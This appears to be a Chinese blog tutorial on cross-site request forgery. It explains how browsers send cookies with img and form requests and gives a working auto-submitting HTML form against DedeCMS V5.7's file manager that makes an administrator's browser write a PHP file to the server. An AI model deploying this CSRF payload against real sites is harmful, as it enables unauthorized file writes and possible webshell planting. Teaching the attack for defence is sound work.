CSRF跨站请求伪造

article/2025/9/23 3:59:50
CSRF介绍:
CSRF中文名称:跨站请求伪造,是一种“ 挟持用户”在当前已登陆的Web应用程序上执行“ 非本意操作”的攻击方法。

一、CSRF回放攻击流程
套用老师所给的一张攻击原理图


从这张流程图里我们总结一下CSRF攻击生效所需要的两个必要条件
1.被攻击者 成功登陆信任站点A,并在 本地生成cookie
2.用户使用 同一浏览器不退出的情况下,访问带有CSRF代码的网站B

二、原理介绍
首先说明一点,我们并没有挟持用户,CSRF是 挟持用户浏览器发送请求
1.某些html标签是可以发送HTTP GET类型的请求的。
例如 <img>    <img src="http://www.baidu.com"/>
这就是一个简单的向通过当前页面标签实现向百度发送http_get的请求
浏览器渲染Img标签的时候,并不知道img标签中的SRC属性的值到底是不是一个图片,浏览器需要做的就是根据src里面的链接,发送一个http get请求,并且 带上当前浏览器在目标网站上的凭证,也就是cookie,返回结果以图片形式渲染
根据这个特性,可以挟持用户的浏览器携带用户的cookie发送任意请求

三、常见的CSRF漏洞分类
1.通过GET方式向服务器提交请求
2.通过POST方式提交请求
具体模板:
<form name='chao' action=" https://blog.csdn.net/sdb5858874" method="post" enctype="multipart/form-data">
<input type="hidden" name="user" value="chao">
<input type="hidden" name="password" value="123456789">
</form>
<script>document.chao.submit();</script>

举一个例子:
假设我是一个网站的后台管理员
我登陆之后,我的后台这里有一个上传功能
大家看一下这个文件上传页面,现在我们作为haker伪造一个CSRF攻击的页面
首先我们先随便上传一个文件,然后抓一下他的数据包
现在我们看到的这个数据包就是一个正常的,在服务器上创建文件的请求包
我们只需要将画红线的部分做成一个表单,
1.红线标注的第一个部分标注了我们要往哪个Ip下的哪个文件里提交数据(这部分要数写到 form表单的action中)
2.向服务器传送了我们创建文件的必要信息(这部分我们要作为表单数据,通过post的方式提交上去)
代码如下

<!DOCTYPE html>
<html>
<head>
<title>chao</title>
</head>
<body>
<form name='chao' action="http
://192.168.3.84/DedeCMS-V5.7-UTF8-SP1/uploads/dede/file_manage_control.php" method="post">
<input type="hidden" name="fmdo" value="edit">
<input type="hidden" name="activepath" value="/DedeCMS-V5.7-UTF8-SP1/uploads/uploads">
<input type="hidden" name="filename" value="wangchao.php">
<input type="hidden" name="str" value="<?php phpinfo(); ?>">

</form>
<script>document.chao.submit();</script>
</body>
</html>


然后我作为后台管理员不慎点开了haker发给我的带有CSRF的网站,结果如下
wangchao.php这个文件就已经保存在服务器上了



http://chatgpt.dhexx.cn/article/l0Y6B6Rw.shtml

相关文章

【CSRF-01】跨站请求伪造漏洞基础原理及攻防

目录 1 CSRF概述2 CSRF攻击过程及原理2.1 CSRF场景例子2.2 攻击过程2.3 原理2.4 攻击成功的条件&#xff1a; 3 CSRF攻击方式/如何触发5 CSRF的防御5.1 一些无效的防御手段5.2 有效的防御手段 6 总结参考文章 1 CSRF概述 定义&#xff1a;CSRF&#xff08;Cross-site request …

一文带你学习跨站点请求伪造(CSRF)

一文带你学习跨站点请求伪造&#xff08;CSRF&#xff09; 1.何为CSRF2.浏览器的Cookie策略3.P3P头的副作用4.CSRF攻击流程5.CSRF的分类GET型POST-表单型POST-JSON型 6.CSRF的快速验证7.CSRF的防御验证码Referer CheckAnti CSRF Token 1.何为CSRF CSRF的全名是Cross Site Requ…

flask中的csrf防御机制

csrf概念 CSRF&#xff08;Cross-site request forgery&#xff09;跨站请求伪造&#xff0c;也被称为“One Click Attack”或者Session Riding&#xff0c;通常缩写为CSRF或者XSRF&#xff0c;是一种对网站的恶意利用。尽管听起来像跨站脚本&#xff08;XSS&#xff09;&…

跨站请求伪造(csrf)

1、csrf介绍 CSRF (Cross-site request forgery&#xff0c;跨站请求伪造)也被称为One Click Attack或者Session Riding&#xff0c;通常缩写为CSRF或者XSRF&#xff0c;是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS)&#xff0c;但它与XSS非常不同&#xff0c;XSS利用站…

跨站请求伪造

1. 什么是跨站请求伪造&#xff08;CSRF&#xff09; CSRF&#xff08;Cross-site request forgery跨站请求伪造&#xff0c;也被称为“One Click Attack”或者Session Riding&#xff0c;通常缩写为CSRF或者XSRF&#xff0c;是一种对网站的恶意利用。尽管听起来像跨站脚本&…

压缩包破解

压缩包破解 文章目录 压缩包破解伪加密压缩包格式压缩源文件数据区压缩源文件目录区压缩源文件目录结束标志真加密字节对比伪加密字节对比伪加密 工具 ZipCenOp.jarjoin 破解fcrackzip 或者 ziperello 暴力破解伪加密 压缩包格式 一个 ZIP 文件由三个部分组成: 压缩源文

android apk解包和打包

最近项目开发&#xff0c;我的jar包和资源文件给别的同事打包&#xff0c;这样我自己测试很麻烦&#xff0c;每次改一点东西都要找人打包测试&#xff0c;很麻烦&#xff0c;就想着能够解包&#xff0c;更新一下自己的部分代码&#xff0c;再打包apk直接测试。后来找了一些网上…

python基础语法之拆包(解包)

理解和使用python中的拆包会让我们的代码变得流畅&#xff0c;不仅对自己的手关节有好处&#xff0c;也使看官觉得很赏心悦目&#xff0c;既然拆包这么香那就抓紧用起来吧。 1、直接交换变量的本质 在C&#xff0c;C和Java语言中如果想交换两个变量的值就必须用到第三个临时变…

Python中的解包

一、解包&#xff0c;英文名字叫UNPACKING,就是讲容器中所有的元素逐个取出来。 python中解包是自动完成的&#xff0c;例如&#xff1a; a,b,c [1,2,3] print(a,b,c) 1 2 3 除列表对象可以解包外PYTHON中的任何可迭代对象都可以进行解包&#xff0c;元组&#xff0c;字典&…

【Python小知识】:什么是序列解包

前言&#xff1a; &#x1f482;作者简介&#xff1a;大家好&#xff0c;我是翼同学&#xff01; &#x1f4c3;个人主页&#xff1a;翼同学的CSDN博客 &#x1f525;系列专栏&#xff1a;【python学习笔记】 &#x1f44f;备注&#xff1a;如果文章有误&#xff0c;请指正&…

python 抓包与解包

我使用的环境为&#xff1a;Windows10、python3.6、scapy 2.4.0 一、基本知识 Sniff方法定义&#xff1a;sniff(filter"",iface"any", prnfunction, countN)filter的规则使用 Berkeley Packet Filter (BPF)语法 iface用来指定要在哪个网络接口上进行抓包&…

.pkg文件解包

PePKG下载 1、拖入 RePKG.exe文件到cmd中 2、输入 extract&#xff0c;并将需要解包的 .pkg文件拖入cmd中 3、输入 -o 4、选择输出路径 创建一个文件拖入cmd中 回车即可完成解包

文件打包解包的方法

文件打包 前言 在很多情况下&#xff0c;软件需要隐藏一些图片&#xff0c;防止用户对其更改&#xff0c;替换。例如腾讯QQ里面的资源图片&#xff0c;哪怕你用Everything去搜索也搜索不到&#xff0c;那是因为腾讯QQ对这些资源图片进行了打包&#xff0c;当软件运行的时候解…

python中拆包解包用法详解

python可以对元组和字典进行拆包或解包操作。 1、拆包&#xff1a;元组 示例代码1&#xff1a; def return_num():return 100, 200num1, num2 return_num() print(num1) # 100 print(num2) # 200运行结果&#xff1a; 示例代码2&#xff1a; def return_num1():return 1…

android-apk解包打包

title: android-apk解包打包 categories: Android tags: [android, 加壳] date: 2022-09-28 10:29:51 comments: false mathjax: true toc: true android-apk解包打包, 以下所有操作都需要在配置好 java 环境下进行 前篇 android apk解包和打包 - https://blog.csdn.net/u0114…

Vue 3 之什么是 解包

Vue 3 之什么是 解包 前言结合代码分析总结 前言 从 Vue2 升到 Vue3 之后,用法上有了很大很大的变化 Vue3可以通过 ref 来声明一些响应式数据,可以是 any 类型的响应式数据 ,在 script 标签中访问和修改这个属性需要用 变量名.value Vue3 3.1 在 template 模板中使用定义的数…

python的解包

解包在英文里叫做 Unpacking&#xff0c;就是将容器里面的元素逐个取出来&#xff08;防杠精&#xff1a;此处描述并不严谨&#xff0c;因为容器中的元素并没有发生改变&#xff09;放在其它地方&#xff0c;好比你老婆去菜市场买了一袋苹果回来分别发给家里的每个成员&#xf…

apk解包+修改源码+重新打包 修改Android端app教程 修改apk文件教程

修改之前一定要先安装java开发环境&#xff0c;不会装的去自行百度。文章较长&#xff0c;耐心阅读。 一直在做Android应用开发&#xff0c;但对于从自己手中输出的apk包&#xff0c;了解并不是很深。最近想研究一下&#xff0c;消除下自己的一些技术盲点。 好吧&#xff0c;…

Python中的解包用法

Python中的解包用法 解包&#xff08;unpacking&#xff1a;解包&#xff0c;拆包&#xff09;&#xff0c;基本意思将容器里面的元素逐个取出来使用。封包&#xff08;packing&#xff1a;封包&#xff0c;打包&#xff09;基本意思将多个元素合起来作为一个整体使用。 可迭代…

SIP协议说明以及报文字段解析

SIP协议的概念&#xff1a; SIP 协议&#xff0c;即 会话初始协议&#xff08;Session Initiation Protocol&#xff09;&#xff0c;是一个应用层的 点对点协议&#xff0c;用于初始、管理和终止网络中的语音和视频会话&#xff0c;是 GB28181 的核心之一。 SIP是一个基于文本…